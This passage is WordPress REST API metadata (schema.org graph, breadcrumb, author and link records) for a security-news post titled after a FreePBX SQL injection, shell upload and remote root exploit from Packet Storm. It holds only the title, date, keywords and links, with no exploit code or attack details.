Root_PACKETSTORM:223388","datePublished":"2026-06-15T12:42:34+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=62696"},"wordCount":1959,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=62696#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=62696","url":"https:\/\/zero.redgem.net\/?p=62696","name":"\ud83d\udcc4 FreePBX SQL Injection \/ Shell Upload \/ Remote Root_PACKETSTORM:223388 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-15T12:42:34+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=62696#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=62696"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=62696#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 FreePBX SQL Injection \/ Shell Upload \/ Remote Root_PACKETSTORM:223388"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62696","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=62696"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62696\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=62696"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=62696"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=62696"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}